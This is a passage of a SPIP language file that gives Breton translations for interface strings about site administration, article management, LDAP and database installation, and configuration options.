'info_administrateur_1' => 'Merour',
'info_administrateur_2' => 'al lec’hienn (<i>diwallit en ur implijout se</i>)',
'info_administrateur_site_01' => 'Ma’z oc’h merour al lec’hienn,',
'info_administrateur_site_02' => 'klikit war al liamm-mañ',
'info_administrateurs' => 'Merourien',
'info_administrer_rubrique' => 'Gallout a rit merañ ar rubrikenn-mañ',
'info_adresse' => 'er chomlec’h :',
'info_adresse_url' => 'Chomlec’h (URL) al lec’hienn foran',
'info_afficher_par_nb' => 'Diskouez dre',
'info_afficher_visites' => 'Diskouez ar gweladennoù evit :',
'info_aide_en_ligne' => 'Skoazell enlinenn SPIP',
'info_ajout_image' => 'Pa ouzhpennit skeudennoù evel restroù stag ouzh ur pennad
e c’hell SPIP krouiñ ent emgefre evidoc’h skeudennoùigoù (bihanaet) eus
ar skeudennoù enframmet. Evel-se e c’heller krouiñ, da skouer,
ur skeudennaoueg pe ur portofolio.',
'info_ajout_participant' => 'Ouzhpennet eo bet ar perzhiad-mañ :',
'info_ajouter_rubrique' => 'Ouzhpennañ ur rubrikenn all da vezañ meret :',
'info_annonce_nouveautes' => 'Kemenn an nevezenti',
'info_anterieur' => 'a-raok',
'info_article' => 'pennad',
'info_article_2' => 'pennad',
'info_article_a_paraitre' => 'Ar pennadoù goude-deiziataet da zont',
'info_articles_02' => 'pennad',
'info_articles_2' => 'Pennad',
'info_articles_auteur' => 'Pennadoù ar skridaozer-mañ',
'info_articles_miens' => 'Va fennadoù-skrid',
'info_articles_tous' => 'An holl bennadoù-skrid',
'info_articles_trouves' => 'Pennadoù kavet',
'info_articles_trouves_dans_texte' => 'Pennadoù kavet (en destenn)',
'info_attente_validation' => 'Ho pennadoù a chom da vezañ aprouet',
'info_aucun_article' => 'Pennad-skrid ebet',
'info_aucun_article_syndique' => 'Pennad-skrid amaezhiet ebet',
'info_aucun_auteur' => 'Aozer ebet',
'info_aucun_message' => 'kemennad ebet',
'info_aucun_rubrique' => 'Rubrikenn ebet',
'info_aucun_site' => 'lec’hienn ebet',
'info_aucun_visiteur' => 'Gweladenner ebet',
'info_aujourdhui' => 'hiziv :',
'info_auteur_message' => 'SKRIDAOZER AR GEMENNADENN :',
'info_auteurs' => 'Ar skridaozerien',
'info_auteurs_par_tri' => 'Skridaozerien@partri@',
'info_auteurs_trouves' => 'Skridaozerien kavet',
'info_authentification_externe' => 'Gwiriekadur diavaez',
'info_avertissement' => 'Kemenn diwall',
'info_barre_outils' => 'gant e varrenn ostilhoù ?',
'info_base_installee' => 'Staliet eo framm ho tiaz-titouroù.',
'info_bio' => 'Buhezskrid',
'info_chapeau' => 'Tog',
'info_chapeau_2' => 'Tog :',
'info_chemin_acces_1' => 'Dibarzhioù : <b>hent moned er rollad tud</b>',
'info_chemin_acces_2' => 'Bremañ e rankit kefluniañ anhent moned a-benn tizhout titouroù ar rollad tud. Ezhomm zo eus an titour-se evit gallout lenn profiloù an implijerien a gaver er rollad tud.',
'info_chemin_acces_annuaire' => 'Dibarzhioù : <b>Hent moned er rollad tud</b>',
'info_choix_base' => 'Trede lankad :',
'info_classement_1' => '<sup>añ</sup> war @liste@',
'info_classement_2' => '<sup>vet</sup> war @liste@',
'info_code_acces' => 'N’ankouait ket ho kodoù moned !',
'info_compatibilite_html' => 'Reolad HTML da heuliañ',
'info_compresseur_gzip' => '<b>N. B. :</b> Aliet eo gwiriañ mat en a-raok ha gwasket e vez dija en a-raok ar restroù php ent emgefre gant an herberc’hier pe get. Evit se e c’hallit implijout : @testgzip@',
'info_compresseur_texte' => 'Ma ne vez ket gwasket ent emgefre ar pajennoù HTML gant ho servijer evit o c’has d’al lennerien e c’hellit klask gwaskañ dre ret evit bihanaat ment ar pajennoù pellgarget. <b>Diwallit</b> : gallout a ra kement-se gorrekaat servijerioù zo.',
'info_config_suivi' => 'Ma’z eo ar chomlec’h-mañ hini ur roll-skignañ e c’hellit skrivañ amañ ar chomlec’h evit en em enrollañ. Gallout a ra ar chomlec’h-se bezañ un URL (hini ar bajenn Web m’en em enroller warni), pe ur postel diwar-benn un danvez bennak (da skouer : <tt>@adresse_suivi@?subject=subscribe</tt>):',
'info_config_suivi_explication' => 'Gallout a rit en em enrollañ war roll-skignañ al lec’hienn-mañ. Degaset e vo deoc’h kemennoù dre bostel pa vo kinniget pennadoù pe berrskridoù nevez neuze.',
'info_confirmer_passe' => 'Gwiriañ ar ger-tremen :',
'info_conflit_edition_avis_non_sauvegarde' => 'Diwallit, kemmet eo bet an maeziennoù-mañ e lec’h all. Setu ma n’eo ket bet enrollet ho kemmoù warno.',
'info_conflit_edition_differences' => 'Diforc’hioù :',
'info_conflit_edition_version_enregistree' => 'Ar stumm bet enrollet :',
'info_conflit_edition_votre_version' => 'Ho stumm :',
'info_connexion_base' => 'O klask kevreañ ouzh an diaz titouroù',
'info_connexion_base_donnee' => 'Kevreañ ouzh ho tiaz titouroù',
'info_connexion_ldap_ok' => 'Kevreet oc’h dre LDAP.</b><p>Gallout a rit tremen d’al lankad war-lerc’h.</p>',
'info_connexion_mysql' => 'Ho kevreadenn SQL',
'info_connexion_ok' => 'Kevreet oc’h.',
'info_contact' => 'Darempred',
'info_contenu_articles' => 'Danvez ar pennadoù',
'info_contributions' => 'Degasadennoù',
'info_creation_paragraphe' => '(Evit krouiñ rannbennadoù, lezit goullo linennoù zo traken)',
'info_creation_rubrique' => 'A-benn gallout skrivañ pennadoù <br />e rankit bezañ krouet ur rubrikenn da nebeutañ.<br />',
'info_creation_tables' => 'Krouiñ taolennoù an diaz titouroù',
'info_creer_base' => '<b>Krouiñ</b> un diaz titouroù nevez :',
'info_dans_rubrique' => 'Er rubrikenn :',
'info_date_publication_anterieure' => 'Deiziad skridaozañ kent :',
'info_date_referencement' => 'DEIZIAD MENEGERIÑ AL LEC’HIENN-MAÑ :',
'info_derniere_etape' => 'Echuet eo !',
'info_derniers_articles_publies' => 'Ar pennadoù diwezhañ bet embannet ganeoc’h',
'info_desactiver_messagerie_personnelle' => 'Gallout a rit gweredekaat pe diweredekaat ho postelerezh personel war al lec’hienn-mañ.',
'info_descriptif' => 'Deskrivadur :',
'info_desinstaller_plugin' => 'diverkañ a ra ar roadoù, ha diweredekaat a ra an adveziant',
'info_discussion_cours' => 'Kaozeadennoù digor',
'info_ecrire_article' => 'A-benn gallout skrivañ pennadoù e rankit bezañ krouet ur rubrikenn da nebeutañ.',
'info_email_envoi' => 'Postel kas (diret)',
'info_email_envoi_txt' => 'Skrivit amañ chomlec’h kas ar postelioù (ma ne skrivit netra e vo implijet chomlec’h an degemererien) :',
'info_email_webmestre' => 'Postel ar webmestr (diret)',
'info_entrer_code_alphabet' => 'Merkit kod al lizherenneg da implijout :',
'info_envoi_email_automatique' => 'Kas postelioù emgefre',
'info_envoyer_maintenant' => 'Kas bremañ',
'info_etape_suivante' => 'Tremen d’al lankad war-lerc’h',
'info_etape_suivante_1' => 'Gallout a rit tremen d’al lankad war-lerc’h.',
'info_etape_suivante_2' => 'Gallout a rit tremen d’ar lankad war-lerc’h.',
'info_exceptions_proxy' => 'Nemedennoù evit ar proxy',
'info_exportation_base' => 'Oc’h ezporzhiañ an diaz davet @archive@',
'info_facilite_suivi_activite' => 'A-benn heuliañ aesoc’h an oberererezh e c’hell SPIP kas dre bostel,
d’ul roll-skignañ enni ar skridaozerien da skouer,
ar goulennoù embann ha kadarnaat ar pennadoù.',
'info_fichiers_authent' => 'Restroù gwiriekaat « .htpasswd »',
'info_forums_abo_invites' => 'Foromoù dre goumanant zo war ho lec’hienn ; pedet e vez ar weladennerien d’en em enrollañ war lodenn foran al lec’hienn neuze.',
'info_gauche_admin_effacer' => '<b>N’eus nemet an dud e-karg eus al lec’hienn a c’hall mont war ar bajenn-mañ.</b><p>Warni e reer al labourioù-kempenn. Evit traoù zo ez eus ezhomm eus un argerzh testeniekaat dibar, a c’houlenn kaout ur moned FTP ouzh al lec’hienn.</p>',
'info_gauche_admin_tech' => '<b>N’eus nemet an dud e-karg eus al lec’hienn a c’hall mont war ar bajenn-mañ.</b><p> Warni e reer al labourioù kempenn. Evit traoù zo ez eus ezhomm eus un argerzh testeniekaat dibar a c’houlenn kaout ur moned FTP ouzh al lec’hienn.</p>',
'info_gauche_admin_vider' => '<b>N’eus nemet an dud e-karg a c’hall mont war ar bajenn-mañ.</b><p>Warni e reer al labourioù kempenn. Evit traoù zo ez eus ezhomm eus un argerzh testeniekaat dibar a c’houlenn kaout ur moned FTP ouzh al lec’hienn.</p>',
'info_gauche_auteurs' => 'Amañ e kavot an holl dud a skriv war al lec’hienn.
Diouzh liv o skeudennig e c’hellit gouzout o c’harg resis (merour=gwer; skridaozer=melen).',
'info_gauche_auteurs_exterieurs' => 'E glaz emañ diskouezet ar skridaozerien diavaez, hep moned ouzh al lec’hienn ;
Gant ur pod-lastez eo aroueziet ar re bet diverket.',
'info_gauche_messagerie' => 'Dre ar postelerezh e c’hellit eskemm kemennadennoù gant skridaozerien all, derc’hel notennigoù-eñvor, pe, ma’z oc’h merour, skignañ kemennoù war bajenn degemer al lodenn brevez.',
'info_gauche_numero_auteur' => 'SKRIDAOZER NIVERENN',
'info_gauche_statistiques_referers' => 'War ar bajenn-mañ emañ roll ar <i>referers</i>, da lavaret eo al lec’hiennoù enno liammoù a gas davet ho lec’hienn deoc’h, evit dec’h hag hiziv hepken. Riñset e vez ar roll-mañ bemdez.',
'info_gauche_visiteurs_enregistres' => 'Amañ emañ ar weladennerien enrollet evit gallout kemer perzh e foromoù dre goumanant lodenn foran al lec’hienn.',
'info_generation_miniatures_images' => 'Krouiñ skeudennoùigoù',
'info_gerer_trad' => 'Merañ al liammoù treiñ ?',
'info_gerer_trad_objets' => '@objets@ : merañ liammoù an troidigezh',
'info_hebergeur_desactiver_envoi_email' => 'Herberc’herien zo a nac’h ma vefe kaset postelioù emgedre adal o servijerioù. En deoguezh-se, ne’z aio ket ar servijoù-se en-dro.',
'info_hier' => 'dec’h :',
'info_historique_activer' => 'Heuliañ an adweladennoù',
'info_historique_affiche' => 'Diskouez ar stumm-mañ',
'info_historique_comparaison' => 'keñveriañ',
'info_historique_desactiver' => 'Chom hep heuliañ an adweladennoù',
'info_historique_texte' => 'En ur heuliañ an adweladennoù e c’heller rollaén an holl gemmoù bet degaset d’ar pennad, ha gwelet an diforc’hioù etre an stummoù disheñvel.',
'info_identification_publique' => 'Hoc’h anv foran...',
'info_image_process' => 'Diuzit an hentenn wellañ da sevel skeudennoùigoù o klikañ war ar skeudenn a zere.',
'info_image_process2' => '<b>Evezh.</b> <i>Ma ne weler skeudenn ebet e talvez n’eo ket bet kefluniet an dafariad a ro bod deoc’h evit ober gant seurt binvioù. Mar fell deoc’h implijout ar servijoù-se, kit e darempred gant an dud e-karg, ha goulennit war-lerc’h an astennoù «GD» pe «Imagick».</i>',
'info_images_auto' => 'Skeudennoù jedet ent emgefre',
'info_informations_personnelles' => 'Titouroù personel',
'info_inscription_automatique' => 'Enskrivadur emgefreek ar skridaozerien nevez.',
'info_jeu_caractere' => 'Strobad arouezennoù al lec’hienn',
'info_jours' => 'deiz',
'info_laisser_champs_vides' => '(lezit ar maeziennoù-mañ goullo)',
'info_langues' => 'Yezhoù al lec’hienn',
'info_ldap_ok' => 'Staliet eo ar gwiriekaat LDAP.',
'info_lien_hypertexte' => 'Liamm gourskrid :',
'info_liste_nouveautes_envoyee' => 'Kaset eo bet roll an nevezentioù',
'info_liste_redacteurs_connectes' => 'Roll ar skridaozerien kevreet',
'info_login_existant' => 'C’hoazh ez eus eus ar ger kevreañ-mañ.',
'info_login_trop_court' => 'Re verr eo ar ger-kevreañ.',
'info_login_trop_court_car_pluriel' => 'Ret eo lakaat@nb@ arouezenn da vihanañ.',
'info_logos' => 'Al logoioù',
'info_maximum' => 'd’ar muiañ :',
'info_meme_rubrique' => 'En hevelep rubrikenn',
'info_message' => 'Kemennadenn eus ar',
'info_message_efface' => 'KEMENNADENN BET DIVERKET',
'info_message_en_redaction' => 'Ar c’hemennadennoù emaoc’h o skrivañ',
'info_message_technique' => 'Kemennadenn deknikel :',
'info_messagerie_interne' => 'Postelerezh diabarzh',
'info_mise_a_niveau_base' => 'lakaat ho tiaz titouroù SQL a-live',
'info_mise_a_niveau_base_2' => '{{Diwallit!}} Staliet ho peus ur stumm eus SPIP {koshoc’h} eget an hini a oa war al lec’hienn-mañ a-raok .
Riskloù zo e vefe distrujet ho tiaz titouroù pe ne’z afe ket en-dro ken.<br />{{Adstailhit restroù SPIP.}}',
'info_modification_enregistree' => 'lerc’hwezet eo bet ho taskemm',
'info_modifier_auteur' => 'Kemmañ an aozer :',
'info_modifier_rubrique' => 'Kemmañ ar rubrikenn :',
'info_modifier_titre' => 'Kemmañ : @titre@',
'info_mon_site_spip' => 'Ma lec’hienn SPIP',
'info_mot_sans_groupe' => '(Gerioù distrollad...)',
'info_moteur_recherche' => 'Lusker enklask diabarzh',
'info_moyenne' => 'Keidenn :',
'info_multi_articles' => 'Ober gant lañser ar yezhoù war ar pennadoù ?',
'info_multi_cet_article' => 'Yezh ar pennad-mañ :',
'info_multi_langues_choisies' => 'Dibabit amañ dindan ar yezhoù a c’hell skridaozerien ho lec’hienn skrivañ enno.
Ar yezhoù bet implijet betek-henn (diskouezet da gentañ) n’hallont ket bezañ lamet kuit.',
'info_multi_objets' => '@objets@ : gweredekaat lañser ar yezh',
'info_multi_rubriques' => 'Ober gant ar lañser yezhoù war ar rubrikennoù ?',
'info_multi_secteurs' => '...evit rubrikennoù ar wrizienn hepken ?',
'info_nb_articles' => '@nb@ pennadoù-skrid',
'info_nb_articles_syndiques' => '@nb@ pennadoù-skrid amaezhiet',
'info_nb_auteurs' => '@nb@ aozerion',
'info_nb_messages' => '@nb@ kemennadoù',
'info_nb_mots_cles' => '@nb@ gerioù-alc’hwez',
'info_nb_rubriques' => '@nb@ rubrikennoù',
'info_nb_sites' => '@nb@ lec’hiennoù',
'info_nb_visiteurs' => '@nb@ gweladennerion',
'info_nom' => 'Anv',
'info_nom_destinataire' => 'Anv an degemerer',
'info_nom_site' => 'Anv ho lec’hienn',
'info_nombre_articles' => '@nb_articles@ pennad,',
'info_nombre_partcipants' => 'PERZHIDI ER GAOZ :',
'info_nombre_rubriques' => '@nb_rubriques@ rubrikenn,',
'info_nombre_sites' => '@nb_sites@ lec’hienn,',
'info_non_deplacer' => 'Na zilec’hiañ...',
'info_non_envoi_annonce_dernieres_nouveautes' => 'Gallout a ra SPIP kelaouiñ en un doare reoliek war nevezenti al lec’hienn
(pennadoù ha berrskridoù embannet nevez zo).',
'info_non_envoi_liste_nouveautes' => 'Chom hep kas roll an nevezenti',
'info_non_modifiable' => 'n’hall ket bezañ kemmet',
'info_non_suppression_mot_cle' => 'ne fell ket din diverkañ ar ger-stur-mañ.',
'info_note_numero' => 'Notenn @numero@',
'info_notes' => 'Notennoù',
'info_nouveaux_message' => 'Kemennadennoù nevez',
'info_nouvel_article' => 'Pennad nevez',
'info_nouvelle_traduction' => 'Troidigezh nevez :',
'info_numero_article' => 'PENNAD NIVERENN :',
'info_obligatoire_02' => '[Rekis]',
'info_option_accepter_visiteurs' => 'Aotren enrolladennoù gweladennerien al lec’hienn foran',
'info_option_faire_suivre' => 'Lakaat skridaozerien ar pennadoù da heuliañ evezhiadennoù ar forom',
'info_option_ne_pas_accepter_visiteurs' => 'Nac’hañ enrolladennoù ar weladennerien',
'info_options_avancees' => 'DIBARZHIOÙ PISHOC’H',
'info_ortho_activer' => 'Ober gant an difazier reizhskrivañ',
'info_ortho_desactiver' => 'Na implijout an difazier',
'info_ou' => 'pe...',
'info_page_interdite' => 'Pajenn difennet',
'info_par_nom' => 'dre anv',
'info_par_nombre_article' => 'dre an niver a bennadoù',
'info_par_statut' => 'dre statud',
'info_par_tri' => '’(dre @tri@)’',
'info_passe_trop_court' => 'Ger-tremen re verr.',
'info_passe_trop_court_car_pluriel' => 'Lakait d’’ar vihanañ @nb@ arouezenn er ger-tremen.',
'info_passes_identiques' => 'Ne glot ket an daou c’her-tremen.',
'info_pense_bete_ancien' => 'Ho notennoùigoù-eñvor kozh',
'info_plus_cinq_car' => 'ouzhpenn pemp arouezenn',
'info_plus_cinq_car_2' => '(Ouzhpenn 5 arouezenn)',
'info_plus_trois_car' => '(Ouzhpenn 3 arouezenn)',
'info_popularite' => 'brud; : @popularite@ ; gweladennoù : @visites@',
'info_popularite_4' => 'brud; : @popularite@ ; gweladennoù : @visites@',
'info_post_scriptum' => 'Goude-skrid',
'info_post_scriptum_2' => 'Goude-skrid :',
'info_pour' => 'evit',
'info_preview_admin' => 'N’eus nemet ar verourien a c’hall rakwelet al lec’hienn',
'info_preview_comite' => 'Gallout a ra an holl skridaozerien rakwelet al lec’hienn',
'info_preview_desactive' => 'Diweredekaet-mik eo ar rakweled',
'info_preview_texte' => 'Posupl eo rakwelet penaos e vefe al lec’hienn ma vefe embannet an holl bennadoù hag an holl verrskridoù (dezho ar statud « kinniget » d’an nebeutañ). Daoust ha dleout a rafe an holl skridaozerien gallout en ober, ar verourien hepken, pe den ebet ?',
'info_principaux_correspondants' => 'Ho kenskriverien bennañ',
'info_procedez_par_etape' => 'kit war-raok pazenn-ha-pazenn',
'info_procedure_maj_version' => 'rankout a ra al labour hizivaat bezañ lañset a-benn azasaat
an diaz titouroù ouzh stumm nevez SPIP.',
'info_proxy_ok' => 'Mat eo bet disoc’h arnod ar proksi.',
'info_ps' => 'G.S.',
'info_publier' => 'embann',
'info_publies' => 'Ho pennadoù bet embannet',
'info_question_accepter_visiteurs' => 'M’eo resisaet e frammoù ho lec’hienn e c’hall ar weladennerien en em enrollañ hep moned ouzh al lodenn brevez, gweredekait an dibarzh a-is :',
'info_question_inscription_nouveaux_redacteurs' => 'Hag aotren a rit e c’hallfe skridaozerien nevez en em enrollañ adalek al lec’hienn foran ?
Ma asantit e c’hallo ar weladennerien en em enskrivañ adalek ur furmskrid emgefreek,
ha gouest e vint neuze da dizhout al lodenn brevez evit kinnig o fennadoù dezho o-unan.
<blockquote><i>Da vare an enrollañ e vez kaset ur postel emgefreek d’ar skridaozerien
ennañ ar c’hodoù da c’hallout dont tre el lec’hienn.
Gant herberc’herien zo e vez difennet kas postelioù adalek o servijerioù,
en degouezh-se ne vo ket tu en em enrollañ ent emgefre.</i></blockquote>',
'info_question_utilisation_moteur_recherche' => 'Ha c’hoant hoc’h eus da ober gant lusker enklask diabarzh SPIP ?
(diweredekaat anezhañ a laka ar reizhiad da vont buanoc’h.)',
'info_question_vignettes_referer_non' => 'Chom hep diskouez skeudennoùigoù lec’hiennoù orin ar weladennerien',
'info_qui_edite' => '@nom_auteur_modif@ en deus labouret war an danvez-se @date_diff@ minutes zo',
'info_racine_site' => 'Gwrizienn al lec’hienn',
'info_recharger_page' => 'Adkargit ar-bajenn-mañ a-raok pell, mar plij.',
'info_recherche_auteur_a_affiner' => 'Re a zisoc’hoù zo evit "@cherche_auteur@" ; resisait hoc’h enklask mar plij.',
'info_recherche_auteur_ok' => 'Meur a skridaozer zo bet kavet evit "@cherche_auteur@":',
'info_recherche_auteur_zero' => 'N’eus bet kavet disoc’h ebet evit « @cherche_auteur@ ».',
'info_recommencer' => 'Klaskit en-dro mar plij.',
'info_redacteur_1' => 'Skridaozer',
'info_redacteur_2' => 'aotreet da vont war al lodenn brevez (<i>erbedet</i>)',
'info_redacteurs' => 'Skridaozerien',
'info_redaction_en_cours' => 'O VEZAÑ SKRIDAOZET',
'info_redirection' => 'Adheñchañ',
'info_redirection_activee' => 'War adwerediñ',
'info_redirection_desactivee' => 'Torret eo bet an adwerediñ.',
'info_refuses' => 'Ho pennadoù bet nac’het',
'info_reglage_ldap' => 'Dibarzhioù : <b>Reizhañ an enporzhiañ LDAP</b>',
'info_renvoi_article' => '<b>Adheñchañ.</b> Adkas a ra ar pennad-mañ d’ar bajenn :',
'info_reserve_admin' => 'N’eus nemet ar verourien a c’hall kemmañ ar chomlec’h-mañ.',
'info_restreindre_rubrique' => 'Strishaat ar merañ d’ar rubrikenn-mañ :',
'info_resultat_recherche' => 'Disoc’hoù an enklask :',
'info_rubriques' => 'Rubrikennoù',
'info_rubriques_02' => 'rubrikennoù',
'info_rubriques_trouvees' => 'Rubrikennoù bet kavet',
'info_rubriques_trouvees_dans_texte' => 'Rubrikennoù bet kavet (en destenn)',
'info_sans_titre' => 'Titl ebet',
'info_selection_chemin_acces' => '<b>Diuzit</b> amañ dindan an hent evit tizhout ar rollad tud :',
'info_signatures' => 'sinadurioù',
'info_site' => 'Lec’hienn',
'info_site_2' => 'lec’hienn :',
'info_site_min' => 'lec’hienn',
'info_site_reference_2' => 'Lec’hienn menegeret',
'info_site_web' => 'Load internet :',
'info_sites' => 'lec’hiennoù',
'info_sites_lies_mot' => 'Al lec’hiennoù menegeret liammet ouzh ar ger-stur-mañ',
'info_sites_proxy' => 'Implijout ur proksi',
'info_sites_trouves' => 'Lec’hiennoù bet kavet',
'info_sites_trouves_dans_texte' => 'Lec’hiennoù bet kavet (en destenn)',
'info_sous_titre' => 'Istitl :',
'info_statut_administrateur' => 'Merour',
'info_statut_auteur' => 'Statud ar skridaozer-mañ :',
'info_statut_auteur_2' => 'Me a zo',
'info_statut_auteur_a_confirmer' => 'Enskrivadur da gadarnaat',
'info_statut_auteur_autre' => 'Statud all :',
'info_statut_efface' => 'Diverket',
'info_statut_redacteur' => 'Skridaozer',
'info_statut_utilisateurs_1' => 'Staelad dre ziouer an implijerion enporzhiet',
'info_statut_utilisateurs_2' => 'Dibabit ar statud da reiñ da dud ar rollad tud LDAP pa gevreont evit ar wech kentañ. Gallout a reoo da c’houde kemmañ ar statud-se unan evit pep aozer unan hag unan.',
'info_suivi_activite' => 'Heuliañ an embannerezh',
'info_surtitre' => 'Ustitl :',
'info_syndication_integrale_1' => 'Kinnig a ra ho lec’hienn restroù sindikadañ (gwelet « <a href="@url@">@titre@</a> »).',
'info_syndication_integrale_2' => 'Ha c’hoant hoc’h eus da ginnig ar pennadoù penn-da-benn, pe embann un diverrañ anezho, ennañ un nebeud kantadoù a arouezennoù ?',
'info_table_prefix' => 'Ma staliit meur a lec’hienn war ar memes diaz titouroù e c’hellit kemmañ ar rakgerioù zo e penn-kentañ anv an diazoù titouroù; ret eo deoc’h skrivañ gant lizherennoù bihan hep tired warno (ñ, ù, é, à, ...) hag hep esaouenn.',
'info_taille_maximale_images' => 'Emañ SPIP o vont da arnodiñ ment vrasañ posupl ar skeudennoù a c’hell bezañ meret gantañ (e milionoù a bikseloù).<br />Ne vo ket bihanaet ar skeudennoù brasoc’h.',
'info_taille_maximale_vignette' => 'Ment vrasañ ar skeudennoùigoù krouet gant ar reizhiad :',
'info_terminer_installation' => 'Bremañ e c’hellit echuiñ gant an argerzh staliañ standard.',
'info_texte' => 'Testenn',
'info_texte_explicatif' => 'Testenn displegañ',
'info_texte_long' => '(Dre ma’z eo hir an destenn eo bet rannet e meur a lodenn, a vo adpeget asambles goude ma vo bet aprouet an destenn)',
'info_texte_message' => 'Testenn ho kemennadenn :',
'info_texte_message_02' => 'Testenn ar gemennadenn',
'info_titre' => 'Titl :',
'info_total' => 'hollad :',
'info_tous_articles_en_redaction' => 'An holl bennadoù emeur o skridaozañ',
'info_tous_articles_presents' => 'An holl pennadoù bet embannet er rubrikenn-mañ',
'info_tous_articles_refuses' => 'An holl bennadoù distaolet',
'info_tous_les' => 'an holl :',
'info_tous_redacteurs' => 'Kemenn d’an holl skridaozerien',
'info_tout_site' => 'Al lec’hienn a-bezh',
'info_tout_site2' => 'N’eo ket bet troet ar pennad er yezh-mañ.',
'info_tout_site3' => 'Troet eo bet ar pennad, met abaoe eo bet kemmet ar pennad orin. Ret eo nevesaat an droidigezh.',
'info_tout_site4' => 'Troet eo bet ar pennad er yezh-mañ, ha n’eus ket ezhomm da nevesaat an droidigezh.',
'info_tout_site5' => 'Pennad orin.',
'info_tout_site6' => '<b>Diwallit :</b>Ne vez diskouezet nemet ar pennadoù orin.
Stag eo an troidigezhioù outo,
diskouezet en ul liv disheñvel, diouzh o stad :',
'info_traductions' => 'Troidigezhioù',
'info_travail_colaboratif' => 'Labour a-stroll war ar pennadoù',
'info_un_article' => 'ur pennad,',
'info_un_site' => 'ul load',
'info_une_rubrique' => 'ur rubrikenn,',
'info_une_rubrique_02' => '1 rubrikenn',
'info_url' => 'URL :',
'info_url_proxy' => 'URL ar proksi',
'info_url_site' => 'URL AL LEC’HIENN :',
'info_url_test_proxy' => 'URL prouata',
'info_urlref' => 'Liamm gourskrid :',
'info_utilisation_spip' => 'Bremañ e c’hellit kregiñ da implijout ar reizhiad embann ameilet...',
'info_visites_par_mois' => 'Diskouez dre viz :',
'info_visiteur_1' => 'Gweladenner',
'info_visiteur_2' => 'Mont d’al lec’hienn foran',
'info_visiteurs' => 'Gweladennerion',
'info_visiteurs_02' => 'Gweladenner al lec’hienn foran',
'info_webmestre_forces' => 'termenet eo ar vistri-gwiad bremañ e <tt>@file_options@</tt>.',
'install_adresse_base_hebergeur' => 'Chomlec’h an diaz titouroù roet gant an herberc’hier',
'install_base_ok' => 'Anavezet eo bet an diaz @base@',
'install_connect_ok' => 'Disklêriet eo bet ar bon nevez dindan anv an dafariad @connect@.',
'install_echec_annonce' => 'Moarvat e c’hwito ar staliadur pe e kaso d’ul lec’hienn na’z aio ket en-dro...',
'install_extension_mbstring' => 'Ne’z a ket SPIP en-dro gant :',
'install_extension_php_obligatoire' => 'Ezhomm en deus SPIP eus an astenn php :',
'install_login_base_hebergeur' => 'Kod kevreañ roet gant an herberc’hier',
'install_nom_base_hebergeur' => 'Anv an diaz roet gant an herberc’hier :',
'install_pas_table' => 'Taolenn ebet en diaz evit poent',
'install_pass_base_hebergeur' => 'Ger-tremen kevreañ roet gant an herberc’hier',
'install_php_version' => 'n’eo ket trawalc’h stumm @version@ PHP (@minimum@ d’an nebeutañ)',
'install_select_langue' => 'Diuzit ur yezh, ha klikit war « War-lerc’h » evit kregiñ gant ar staliañ.',
'install_select_type_db' => 'Merkit ar seurt diaz titouroù :',
'install_select_type_mysql' => 'MySQL',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Servijer diaz titouroù lakaet gant an herberc’hier',
'install_table_prefix_hebergeur' => 'Rakger an diaz roet gant an herberc’hier :',
'install_tables_base' => 'Taolennoù er reizhiad',
'install_types_db_connus' => 'Gallout a ra SPIP ober gant <b>MySQL</b> (an hini implijetañ), <b>PostgreSQL</b> ha <b>SQLite</b>.',
'install_types_db_connus_avertissement' => 'Diwallit : meur a adveziant ne’z eont en-dro nemet gant MySQL',
'instituer_erreur_statut_a_change' => 'Daskemmet eo bet ar staelad endeo',
'instituer_erreur_statut_non_autorise' => 'Ne c’hallit ket dibab ar staelad-se',
'intem_redacteur' => 'skridaozer',
'intitule_licence' => 'Aotre',
'item_accepter_inscriptions' => 'Degemer an enskrivadurioù',
'item_activer_messages_avertissement' => 'Gweredekaat ar c’hemennoù diwall',
'item_administrateur_2' => 'merour',
'item_afficher_calendrier' => 'Diskouez en deiziataer',
'item_autoriser_documents_joints' => 'Aotren stagañ teulioù ouzh ar pennadoù',
'item_autoriser_documents_joints_rubriques' => 'Aotren an teulioù er rubrikennoù',
'item_autoriser_syndication_integrale' => 'Skignañ an holl bennadoù er restroù sindikadañ',
'item_choix_administrateurs' => 'ar verourion',
'item_choix_generation_miniature' => 'Krouiñ arlunioù ar skeudennoù en un doare emgefre.',
'item_choix_non_generation_miniature' => 'Chom hep krouiñ arlunioù diwar skeudennoù.',
'item_choix_redacteurs' => 'ar skridaozerion',
'item_choix_visiteurs' => 'gweladennerien al lec’hienn foran',
'item_creer_fichiers_authent' => 'Krouiñ ar restroù .htpasswd',
'item_limiter_recherche' => 'Bevenniñ an enklask da ditouroù al lec’hienn',
'item_login' => 'Kod kevreañ',
'item_messagerie_agenda' => 'Gweredekaat ar postelerezh hag an deiziataer',
'item_mots_cles_association_articles' => 'ouzh ar pennadoù',
'item_mots_cles_association_rubriques' => 'ouzh ar rubrikennoù',
'item_mots_cles_association_sites' => 'ouzh al lec’hiennoù rollet pe sindikadet.',
'item_non' => 'Ket',
'item_non_accepter_inscriptions' => 'Chom hep degemer an enskrivadurioù',
'item_non_activer_messages_avertissement' => 'Kemenn diwall ebet',
'item_non_afficher_calendrier' => 'Chom hep diskouez en deiziataer',
'item_non_autoriser_documents_joints' => 'Nac’hañ stagañ teulioù ouzh ar pennadoù',
'item_non_autoriser_documents_joints_rubriques' => 'Nac’hañ stagañ teulioù ouzh ar rubrikennoù',
'item_non_autoriser_syndication_integrale' => 'Embann un diverrañ hepken',
'item_non_compresseur' => 'Diweredekaat ar gwaskañ restroù',
'item_non_creer_fichiers_authent' => 'Arabat krouiñ ar restroù-se',
'item_non_gerer_statistiques' => 'Na verañ ar stadegoù',
'item_non_limiter_recherche' => 'Ledanaat an enklask da zanvez al lec’hiennoù menegeret',
'item_non_messagerie_agenda' => 'Diweredekaat ar postelerezh hag an deiziataer',
'item_non_publier_articles' => 'Na embann ar pennadoù a-raok an deiziad embann lakaet.',
'item_non_utiliser_moteur_recherche' => 'Na implijout al lusker enklask',
'item_nouvel_auteur' => 'Skridaozer nevez',
'item_nouvelle_rubrique' => 'Rubrikenn nevez',
'item_oui' => 'Ya',
'item_publier_articles' => 'Embann ar pennadoù, ne vern an deiziad embann lakaet dezho.',
'item_reponse_article' => 'Respont d’ar pennad',
'item_utiliser_moteur_recherche' => 'Implijout al lusker enklask',
'item_version_html_max_html4' => 'Dibabit HTML4 war al load internet voutin',
'item_version_html_max_html5' => 'Aotren an HTML5',
'item_visiteur' => 'gweladenner',
// J
